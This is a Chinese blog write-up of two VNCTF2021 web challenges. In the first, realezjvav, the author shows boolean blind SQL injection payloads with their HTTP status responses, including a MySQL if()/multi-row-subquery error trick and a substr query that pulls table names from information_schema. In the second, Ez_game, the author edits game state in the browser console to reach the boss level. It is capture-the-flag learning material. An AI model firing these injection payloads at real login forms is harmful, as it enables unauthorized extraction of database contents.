CTF玩耍系列[2] - [VNCTF2021] WEB realezjvav && Ez_game

简单记录下第二次参加CTF。。虽然还是做不出来题。。。

这篇文章主要就是想分享下 Mysql if 的一个小技巧。增加一个布尔注入的小姿势。


Web - realezjvav

本来看到 java 没打算看的,可是出题人说这个并没有考到多少 java 知识。便去瞄了下。此题需要两步才能得解。我只做出了第一步。。。第一步是 SQL布尔注入,第二步虽然没做出来,但是估计是 fastjson 的 RCE

通过测试得知,password 存在 SQL 注入

1
2
3
4
5
6
7
8
9
[PAYLOAD:]
username=admin&password=123456'
[OUTPUT:]
HTTP/1.1 500

[PAYLOAD:]
username=admin&password=123456
[OUTPUT:]
HTTP/1.1 200

在经过一番尝试,发现当字段中存在 union 或者 sleep 时,会将整个 password 的值清空再带入到 SQL语句中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[PAYLOAD:]
username=admin&password=' union select#
[OUTPUT:]
HTTP/1.1 200
[根据前后响应,判断此时的 SQL 语句在执行是应该是:]
select * from table where username='admin' and password = ''

[PAYLOAD:]
username=admin&password=' select#
[OUTPUT:]
HTTP/1.1 500
[根据前后响应,判断此时的 SQL 语句在执行是应该是:]
select * from table where username='admin' and password = '' select#'

==================

[PAYLOAD:]
username=admin&password=' and sleep(3)#
[OUTPUT:]
HTTP/1.1 200
[根据前后响应,判断此时的 SQL 语句在执行是应该是:]
select * from table where username='admin' and password = ''

[PAYLOAD:]
username=admin&password=' and select(1)#
[OUTPUT:]
HTTP/1.1 500
[根据前后响应,判断此时的 SQL 语句在执行是应该是:]
select * from table where username='admin' and password = '' and select(1)#'

并且值得注意的是,不管万能密码是否奏效, and 和 or 怎么混着用,页面返回都是一样的,我们只能根据状态码来判断 SQL语句是否生效。

这里有两种思路:

  1. 无回显的 SQL 注入,那么我们可以使用 DNSLOG 来创造回显。可惜这里的 load_file() 没法正常使用。 load_file() 无法制造 DNSLOG 的原因一般为两个l:Linux环境secure_filr_priv=NULL

  2. 既然需要根据状态码来判断SQL语句执行状态,我们就得设法让 SQL 语句报错。这里就涉及到一个 Mysql if 的小技巧

在 Mysql 中,if 的基本用法如下:

1
if(表达式, 表达式为True执行的语句, 表达式为False执行的语句);

简单使用:

1
2
3
4
5
6
7
select if((select 1) ,1 , 0);
[OUTPUT:]
1

select if((select 0) ,1 , 0);
[OUTPUT:]
0

值得注意的是,当表达式返回 True 时,是不会执行 if 的第三个参数的。同理,当表达式返回 False 时,也不会执行 if 的第二个参数。

并且 if 的参数只接受一行值,如果执行的子查询返回了多行值,将会报错。

综上所述,我们可以构造这样的 POC

1
2
3
4
5
6
7
select if( (select 1), 1, (select 1 from mysql.user) );
[OUTPUT:]
1

select if( (select 0), 1, (select 1 from mysql.user) );
[OUTPUT:]
ERROR 1242 (21000): Subquery returns more than 1 row

明白这种性质之后,我们就可以使用这个性质来进行基于 HTTP code布尔盲注

Poc:

1
2
3
4
5
6
7
8
9
[PAYLOAD:]
' or if( (select 1), 1, (select 1 from mysql.user) )#
[OUTPUT:]
HTTP/1.1 200

[PAYLOAD:]
' or if( (select 0), 1, (select 1 from mysql.user) )#
[OUTPUT:]
HTTP/1.1 500

结合 substr() 和 limit 注表名:

注意:如果想扔到 burp 里跑十六进制的表名。注意十六进制是 0-9,a-f 而不是单单的 0-9。我这里就被坑了一下。。。

1
2
3
4
5
6
7
8
9
10
[PAYLOAD:]
' or
if(
(select
substr(
(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)
,1,1 )
) = 0x55
, 1, (select 1 from mysql.user)
)#

最后爆出密码登陆后台,发现里面的功能传输格式是 json 格式,猜测可能是 fastjson的漏洞。可惜没怎么了解,遂没有继续下去。


Web - Ez_game

一开就是个游戏,提示通关有 FLAG

瞄了一下网络请求,没有与后端交互的请求。估计都是 js 写的。

查看首页HTML源码,发现注释写着一共有十关

找到一个 js 文件 game.js 。里面似乎都是些人物的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
class PlayerData
{
// track player data between levels (when player is destroyed)
constructor()
{
this.health = 3;
this.healthMax = 3;
this.boomerangs = 1;
this.bigBoomerangs = 0;
this.coins = 0;
}
}
......

尝试直接在 console 控制台处修改人物属性。发现了一个 player 对象

1
2
3
4
5
Player 
......
health: 3
healthMax: 3
......

尝试修改这些属性

发现我们变强力了。

玩一玩这个游戏,玩到第三关的时候,发现死亡后重生时可以进入之前存档的一关。

在 js 中找到疑似 存档关卡的一个值 localStorage.kbap_warp

1
2
3
4
5
6
7
8
9
function NextLevel()
{
......
// track highest level reached
if (!speedRunMode && levelNumber>warpLevel)
warpLevel = levelNumber;
localStorage.kbap_warp = warpLevel;
......
}

我们先径直来到第三关,然后设置 localStorage.kbap_warp 为 10,这样我们死亡后去进入存档,就可以直接打 boss 战了。

来到 boss 战把自己的属性修改强力,很轻松就斩杀 Boss